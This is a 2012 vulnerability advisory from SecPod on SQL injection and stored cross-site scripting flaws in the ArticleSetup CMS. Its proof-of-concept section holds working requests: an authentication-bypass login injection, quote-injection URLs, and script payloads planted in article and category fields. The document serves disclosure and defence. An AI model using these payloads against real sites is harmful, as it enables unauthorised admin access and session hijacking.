1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 |
############################################################################## # # Title: ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities # Author : Antu Sanadi SecPod Technologies (www.secpod.com) # Vendor : http://www.articlesetup.com/ # Advisory : http://secpod.org/blog/?p=497 #http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt # Software : ArticleSetup v1.11 and prior. # Date : 30/03/2012 # ############################################################################### SecPod ID: 1037 23/08/2011 Issue Discovered 21/02/2012 Vendor Notified No Response from vendor 30/03/2011 Advisory Released Class: XSS/SQL InjectionSeverity: High Overview: --------- ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities. Technical Description: ---------------------- ArticleSetup Multiple Persistence Cross-Site Scripting and SQL Injection Vulnerabilities. i) Input passed via the 'userid' and 'password' parameter in '/upload/login.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. ii) Input passed via the 'userid' and 'password' parameter in '/upload/admin/login.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. iii) Input passed via the 'cat' parameter in 'upload/feed.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. iV) Input passed via the 's' parameter in 'upload/search.php' page is not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. V)Input passed via the 'id' parameter in '/upload/admin/pageedit.php', 'upload/admin/authoredit.php' and '/admin/categoryedit.php?id' pages are not properly verified before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL queries. Vi)Input passed via the 's' and parameter in '/upload/search.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. Vii) Input passed via the 'title' and parameter in 'upload//author/submit.php' page is not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. Viii)Input passed via the 'title' and parameter in '/upload/admin/articlenew.php', '/upload/admin/categories.php' and '/upload/admin/pages.php' pages are not properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in the context of a vulnerable site. The vulnerabilities are tested in ArticleSetup v1.10 Other versionsmay also be affected. Impact: -------- Successful exploitation could allow an attacker to execute arbitrary HTML code in a user's browser session in the context of a vulnerable application or to manipulate SQL queries by injecting arbitrary SQL code. Affected Software: ------------------ ArticleSetup v1.11 and prior. Tested on, ArticleSetup v1.10, v1.11 References: ----------- http://www.articlesetup.com/ http://secpod.org/blog/?p=497 http://secpod.org/advisories/SecPod_ArticleSetup_Multiple_Vuln.txt Proof of Concept: ----------------- POC 1: ----- SQL Injection Vulnerabilities. http://IP_ADDR/ArticleSetup/upload//feed.php?cat=' http://IP_ADDR/ArticleSetup/upload/search.php?s=%27 http://IP_ADDR/ArticleSetup/upload/admin/pageedit.php?id=%27 http://IP_ADDR/ArticleSetup/upload/admin/authoredit.php?id=%27 http://IP_ADDR/ArticleSetup/upload//admin/categoryedit.php?id=%27 POST /ArticleSetup/upload/login.php Host: IP_ADDR User-Agent:SQL INJECTION TEST Content-Type: application/x-www-form-urlencoded Content-Length: 81 Post Data: ========== userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23 POST /ArticleSetup//upload/login.php Host: IP_ADDR User-Agent:SQL INJECTION TEST Content-Type: application/x-www-form-urlencoded Content-Length: 81 Post Data: ========== userid=%27+or+%27bug%27%3D%27bug%27+%23&password=%27+or+%27bug%27%3D%27bug%27+%23 POC 2: ----- Cross Site Scripting Vulnerabilities. http://IP_ADDR/ArticleSetup/upload//search.php?s=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E POST /ArticleSetup//upload/author/submit.php HTTP/1.1 Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 202 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=1&body=%3Cp%3Eantu+sanadi+barn+in+india%3C%2Fp%3E&resource=%3Cp%3Eindia+is+gereat%3C%2Fp%3E&save=Submit+Article+%C2%BB&update= POST /ArticleSetup//upload/admin/articlenew.php Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 163 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&category=38&body=%3Cp%3Ei+am+here%3C%2Fp%3E&resource=%3Cp%3Ewhere+are+you%3C%2Fp%3E&save=&submit= POST /ArticleSetup//upload/admin/categories.php Host: IP_ADDR User-Agent: STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 90 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&parentid=NULL&add=&save= POST /ArticleSetup/upload/admin/pages.php Host: IP_ADDR User-Agent:STORED XSS TEST Content-Type: application/x-www-form-urlencoded Content-Length: 114 Post Data: ========== title=%3Cscript%3Ealert%28%22SecPod-XSS-TEST%22%29%3C%2Fscript%3E&body=%3Cp%3Edsfds%3C%2Fp%3E&onmenu=on&add=&save= Solution: ---------- Fix not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR= NETWORK ACCESS_COMPLEXITY= LOW AUTHENTICATION = NONE CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = PARTIAL AVAILABILITY_IMPACT= NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL= UNAVAILABLE REPORT_CONFIDENCE= CONFIRMED CVSS Base Score= 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N) Risk factor= High Credits: -------- Antu Sanadi of SecPod Technologies has been credited with the discovery of this vulnerability. |